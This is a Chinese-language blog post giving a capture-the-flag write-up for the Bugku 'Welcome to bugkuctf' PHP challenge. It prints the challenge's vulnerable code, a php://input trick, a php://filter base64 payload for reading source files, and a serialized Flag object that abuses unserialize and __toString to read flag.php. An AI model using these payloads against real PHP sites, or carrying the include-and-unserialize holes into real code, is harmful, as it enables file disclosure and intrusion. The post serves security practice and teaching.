N0rth3ty's Blog.

Bugku题目集锦0x00

字数统计: 689阅读时长: 3 min
2018/05/25 Share

最近在bugku刷题,遇到感觉比较有意义的题目会写写WP
所以写个集锦
这道题感觉挺有意思的,涉及很多php相关知识

Welcome to bugkuctf

给一个题目链接
上来首先是网页源码中可以看到代码审计

1
2
3
4
5
6
7
8
9
10
$user = $_GET["txt"];  
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

这里有两个关键点

  • 构造满足条件的user来满足if条件
  • 构造恰当的$file来实现文件包含

file_get_contents 会当在php.ini中开启allow_url_fopen
它读入的是一个文件,或者是一个数据流,所以不能直接在get请求中传入,这里用到php伪协议中的input
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

然后是构造$file变量实现文件包含,同样是常见的php伪协议filter
常见payload为

php://filter/read=convert.base64-encode/resource=

所以这里我们构造如下数据包
image
解码后hint.php的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

按照题目的尿性来讲,直接去看flag.php肯定是不行的
hint暂时没有给到什么有用的信息,尝试读一下index

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

这里可以看到过滤了flag,所以是不能直接看到flag的。
整理一下思路,现在已经是一道代码审计题了
代码逻辑比较简单,可能能够利用的包括一个文件包含,一个php反序列化,一个任意文件读取
hint中的tostring显然是一个魔术方法(php函数不区分大小写),你考虑包含hint.php再利用反序列化
echo一个对象的时候,会调用
tosting方法,很简单的逻辑链
new一个flag对象,将它的file变量指向flag.php,然后序列化之后通过password传入

1
2
3
$a = new Flag();
$a->file = 'flag.php';
echo serialize($a);

获得序列化对象 O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
构造数据包发送
image
成功getflag
下一篇博客会写一些php的反序列化漏洞专题

CATALOG
  1. 1. Welcome to bugkuctf